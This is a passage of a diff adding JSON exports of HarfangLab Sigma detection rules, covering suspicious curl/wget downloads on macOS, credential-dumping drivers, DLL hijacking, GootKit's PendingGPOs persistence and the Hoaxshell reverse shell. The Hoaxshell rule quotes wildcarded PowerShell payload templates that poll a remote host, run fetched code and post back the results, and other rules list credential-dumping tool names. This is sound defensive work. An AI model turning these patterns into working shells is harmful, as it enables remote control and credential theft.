'pastetext.net'\n            - 'pastebin.pl'\n            - 'paste.ee'\n            - 'pastie.org'\n            - 'archive.org'\n            - 'paste.c-net.org'\n\n    exclusion_timesketch:\n        CommandLine|contains: ' https://raw.githubusercontent.com/google/'\n\n    exclusion_homebrew:\n        CommandLine|contains: ' https://raw.githubusercontent.com/Homebrew/'\n\n    exclusion_ohmyzsh:\n        CommandLine|contains: ' https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh'\n\n    exclusion_ruby_brew_update:\n        ParentCommandLine|startswith: '/opt/homebrew/library/homebrew/vendor/portable-ruby/current/bin/ruby -w1 --disable=gems,rubyopt /opt/homebrew/library/homebrew/brew.rb upgrade'\n\n    exclusion_nvm:\n        CommandLine: 'curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v*/install.sh'\n\n    exclusion_nix:\n        CommandLine|contains: ' https://raw.githubusercontent.com/nixos/experimental-nix-installer/'\n\n    exclusion_vscode:\n        CommandLine|contains:\n            - ' https://raw.githubusercontent.com/microsoft/vscode/master/extensions/json-language-features/package.json'\n            - ' https://raw.githubusercontent.com/microsoft/pyright/*/packages/vscode-pyright/package.json'\n            - ' https://raw.githubusercontent.com/microsoft/vscode/main/extensions/typescript-language-features/package.json'\n            - ' https://raw.githubusercontent.com/rust-analyzer/rust-analyzer/*/editors/code/package.json'\n            - ' https://raw.githubusercontent.com/luals/vscode-lua/master/package.json'\n\n    exclusion_apache:\n        CommandLine|contains: ' https://raw.githubusercontent.com/apache/'\n\n    exclusion_installomator:\n        CommandLine: 'curl -o installomator.sh https://raw.githubusercontent.com/installomator/installomator/main/installomator.sh'\n\n    exclusion_minikube:\n        CommandLine|contains: 'curl -LO https://storage.googleapis.com/minikube/releases/latest/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "33f20b55-a6a9-47fa-8058-df707fd25325",
+  "rule_name": "File Downloaded via cURL or wget from Suspicious URL (macOS)",
+  "rule_description": "Detects the usage of cURL or wget to download a file from public hosting services that may contain a malicious payload.\nThis technique is used by attackers to download payloads that are hosted on public websites.\nIt is recommended to perform an analysis of the downloaded file to check if the content is malicious.\n",
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2025-09-10",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "340aa5a9-5616-4c66-a76c-91098df5a7b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086442Z",
+  "creation_date": "2026-03-23T11:45:34.086444Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086449Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "http://foofus.net/goons/fizzgig/fgdump/",
+    "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PWDumpX.htm",
+    "https://github.com/gentilkiwi/mimikatz",
+    "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/gsecdump.htm",
+    "http://foofus.net/goons/fizzgig/pwdump/",
+    "https://attack.mitre.org/software/S0119/",
+    "https://attack.mitre.org/techniques/T1068/",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_malicious_driver_for_credential_dumping.yml",
+  "content": "title: Malicious Driver Linked to Credential Dumping Loaded\nid: 340aa5a9-5616-4c66-a76c-91098df5a7b3\ndescription: |\n    Detects the loading of malicious Windows kernel drivers that have the ability to perform credential dumping.\n    Attackers may try to dump secrets or credentials from the system directly from the kernel to use for later lateral movement or persistence.\n    These drivers are either signed (usually maliciously) or unsigned, if integrity checks were disabled earlier in the injection chain.\n    It is recommended to analyze the context around the loading of the malicious driver to look for other malicious actions on the host.\nreferences:\n    - http://foofus.net/goons/fizzgig/fgdump/\n    - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PWDumpX.htm\n    - https://github.com/gentilkiwi/mimikatz\n    - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/gsecdump.htm\n    - http://foofus.net/goons/fizzgig/pwdump/\n    - https://attack.mitre.org/software/S0119/\n    - https://attack.mitre.org/techniques/T1068/\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2022/08/02\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - attack.credential_access\n    - attack.t1003\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Rootkit.CredentialDumper\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: driver_load\ndetection:\n    selection:\n        ImageLoaded|contains:\n            - 'fgexec'\n            - 'dumpsvc'\n            - 'cachedump'\n            - 'mimidrv'\n            - 'gsecdump'\n            - 'servpw'\n            - 'pwdump'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "340aa5a9-5616-4c66-a76c-91098df5a7b3",
+  "rule_name": "Malicious Driver Linked to Credential Dumping Loaded",
+  "rule_description": "Detects the loading of malicious Windows kernel drivers that have the ability to perform credential dumping.\nAttackers may try to dump secrets or credentials from the system directly from the kernel to use for later lateral movement or persistence.\nThese drivers are either signed (usually maliciously) or unsigned, if integrity checks were disabled earlier in the injection chain.\nIt is recommended to analyze the context around the loading of the malicious driver to look for other malicious actions on the host.\n",
+  "rule_creation_date": "2022-08-02",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "34295504-9358-4119-aa08-84b4c5880ad5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097205Z",
+  "creation_date": "2026-03-23T11:45:34.097207Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097211Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-i/107742/",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_k7sysmon.yml",
+  "content": "title: DLL Hijacking via K7SysMon.exe\nid: 34295504-9358-4119-aa08-84b4c5880ad5\ndescription: |\n    Detects potential Windows DLL Hijacking via K7SysMon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-i/107742/\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'K7SysMon.EXE'\n        ImageLoaded|endswith: '\\K7SysMn1.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\K7 Computing\\'\n            - '?:\\Program Files (x86)\\K7 Computing\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\K7 Computing\\'\n            - '?:\\Program Files (x86)\\K7 Computing\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'K7 Computing Pvt Ltd'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "34295504-9358-4119-aa08-84b4c5880ad5",
+  "rule_name": "DLL Hijacking via K7SysMon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via K7SysMon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3437577c-61e0-46ac-9f02-bbc91228e25f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072669Z",
+  "creation_date": "2026-03-23T11:45:34.072671Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072675Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1484/001/",
+    "https://securelist.com/gootkit-the-cautious-trojan/102731/"
+  ],
+  "name": "t1484_001_persistence_registry_pendinggpos.yml",
+  "content": "title: Pending GPOs Added\nid: 3437577c-61e0-46ac-9f02-bbc91228e25f\ndescription: |\n    Detects when an entry in pending GPOs is added to the registry. This has been used by malwares such as GootKit.\n    To achieve persistence, the malware generates an INF file containing a [DefaultInstall] section that references the payload.\n    It then modifies the PendingGPOs registry key, inserting the absolute path of the INF file.\n    When explorer.exe processes Group Policy Objects (GPOs), it executes the payload specified in the [DefaultInstall] section of the INF file.\n    It is recommended to ensure that this modification is legitimate and performed by an authorized administrator. You need to review the [DefaultInstall] section of the INF file to check if it includes an absolute path to malware.\nreferences:\n    - https://attack.mitre.org/techniques/T1484/001/\n    - https://securelist.com/gootkit-the-cautious-trojan/102731/\ndate: 2020/09/24\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1484.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        # PendingGPOs trick used by gootkit for instance\n        # contains X values :\n        # Count (set to 1)\n        # SectionX (Section1/Section2/...) : DefaultInstall for instance (in .ini file)\n        # PathX (Path1/Path2/...) : path to ini file\n\n        # only alert on PathX being set (others are meaningless)\n        TargetObject|contains: '\\SOFTWARE\\Microsoft\\IEAK\\GroupPolicy\\PendingGPOs\\Path'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    exclusion_ie_custom_settings:\n        # commandline : rundll32 iedkcs32.dll,BrandExternal ;*2,3<C:\\Users\\xxx\\AppData\\Local\\Microsoft\\Internet Explorer\\Custom Settings\n        ProcessCommandLine:\n            - 'rundll32 iedkcs32.dll,BrandExternal *\\AppData\\Local\\Microsoft\\Internet Explorer\\Custom Settings'\n            - 'rundll32 iedkcs32.dll,BrandExternal *\\AppData\\Local\\Microsoft\\Internet Explorer\\Microsoft\\Internet Explorer\\Custom Settings'\n        # C:\\Users\\xxxx\\AppData\\Local\\Microsoft\\Internet Explorer\\Custom Settings\\Custom3\\seczones.inf\n        # C:\\Users\\xxxx\\AppData\\Local\\Microsoft\\Internet Explorer\\Microsoft\\Internet Explorer\\Custom Settings\\Custom2\\seczones.inf\n        Details|endswith:\n            - '\\AppData\\Local\\Microsoft\\Internet Explorer\\Custom Settings\\Custom?\\seczones.inf'\n            - '\\AppData\\Local\\Microsoft\\Internet Explorer\\Microsoft\\Internet Explorer\\Custom Settings\\Custom?\\seczones.inf'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3437577c-61e0-46ac-9f02-bbc91228e25f",
+  "rule_name": "Pending GPOs Added",
+  "rule_description": "Detects when an entry in pending GPOs is added to the registry. This has been used by malwares such as GootKit.\nTo achieve persistence, the malware generates an INF file containing a [DefaultInstall] section that references the payload.\nIt then modifies the PendingGPOs registry key, inserting the absolute path of the INF file.\nWhen explorer.exe processes Group Policy Objects (GPOs), it executes the payload specified in the [DefaultInstall] section of the INF file.\nIt is recommended to ensure that this modification is legitimate and performed by an authorized administrator. You need to review the [DefaultInstall] section of the INF file to check if it includes an absolute path to malware.\n",
+  "rule_creation_date": "2020-09-24",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1484.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "34645099-10ee-434b-b965-c7050b2e9323",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096830Z",
+  "creation_date": "2026-03-23T11:45:34.096832Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096836Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ntdsutil.yml",
+  "content": "title: DLL Hijacking via ntdsutil.exe\nid: 34645099-10ee-434b-b965-c7050b2e9323\ndescription: |\n    Detects potential Windows DLL Hijacking via ntdsutil.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ntdsutil.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dsrole.dll'\n            - '\\esent.dll'\n            - '\\logoncli.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n            - '\\samlib.dll'\n            - '\\srvcli.dll'\n            - '\\vssapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "34645099-10ee-434b-b965-c7050b2e9323",
+  "rule_name": "DLL Hijacking via ntdsutil.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ntdsutil.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3479a2db-3843-4e1d-9b25-78f9ff3bf015",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084523Z",
+  "creation_date": "2026-03-23T11:45:34.084525Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084530Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/t3l3machus/hoaxshell",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_hoaxshell_powershell_reverse_shell.yml",
+  "content": "title: Hoaxshell Reverse Shell via PowerShell\nid: 3479a2db-3843-4e1d-9b25-78f9ff3bf015\ndescription: |\n    Detects the Hoaxshell PowerShell reverse shell.\n    Hoaxshell is a Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.\n    It is recommended to verify the legitimacy of the PowerShell command and associated network communications to determine if this activity is legitimate within your infrastructure.\nreferences:\n    - https://github.com/t3l3machus/hoaxshell\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/10/27\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.Hoaxshell\n    - classification.Windows.Behavior.RemoteShell\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains:\n            # http/https payloads\n            - \"$*='*';$*='*';$*='http*://';$*=Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $*$*/* -Method POST -Headers @{\\\"*\\\"=$*} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *}\"\n            # http/https out-file payloads\n            - \"$*='*';$*='*';$*='http*://';$*=Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*}).Content;if ($c -ne 'None') {echo \\\"$c\\\" | out-file -filepath *;$r=powershell -ep bypass * -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $*$*/* -Method POST -Headers @{\\\"*\\\"=$*} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *}\"\n            # https localtunnel payload\n            - \"$*='*';$*='*';$*='https://';$*=Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*;\\\"Bypass-Tunnel-Reminder\\\"=$*};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*;\\\"Bypass-Tunnel-Reminder\\\"=$*}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $*$*/* -Method POST -Headers @{\\\"*\\\"=$*;\\\"Bypass-Tunnel-Reminder\\\"=$*} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *}\"\n            # https localtunnel out-file payload\n            - \"$*='*';$*='*';$*='https://';$*=Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*;\\\"Bypass-Tunnel-Reminder\\\"=$*};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*;\\\"Bypass-Tunnel-Reminder\\\"=$*}).Content;if ($c -ne 'None') {echo \\\"$c\\\" | out-file -filepath *;$r=powershell -ep bypass * -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $*$*/* -Method POST -Headers @{\\\"*\\\"=$*;\\\"Bypass-Tunnel-Reminder\\\"=$*} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *}\"\n            # https ngrok payload\n            - \"$*='*';$*='*';$*='https://';$*=Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*;\\\"ngrok-skip-browser-warning\\\"=$*};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*;\\\"ngrok-skip-browser-warning\\\"=$*}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $*$*/* -Method POST -Headers @{\\\"*\\\"=$*;\\\"ngrok-skip-browser-warning\\\"=$*} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *}\"\n            # https ngrok out-file payload\n            - \"$*='*';$*='*';$*='https://';$*=Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*;\\\"ngrok-skip-browser-warning\\\"=$*};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $*$*/* -Headers @{\\\"*\\\"=$*;\\\"ngrok-skip-browser-warning\\\"=$*}).Content;if ($c -ne 'None') {echo \\\"$c\\\" | out-file -filepath *;$r=powershell -ep bypass * -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $*$*/* -Method POST -Headers @{\\\"*\\\"=$*;\\\"ngrok-skip-browser-warning\\\"=$*} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep *}\"\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3479a2db-3843-4e1d-9b25-78f9ff3bf015",
+  "rule_name": "Hoaxshell Reverse Shell via PowerShell",
+  "rule_description": "Detects the Hoaxshell PowerShell reverse shell.\nHoaxshell is a Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.\nIt is recommended to verify the legitimacy of the PowerShell command and associated network communications to determine if this activity is legitimate within your infrastructure.\n",
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1071"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "34a21b7c-a509-4ce9-8c33-ea21d448fe4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091504Z",
+  "creation_date": "2026-03-23T11:45:34.091506Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091510Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/EmpireProject/Empire",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_empire_powershell_registry_user_persistence.yml",
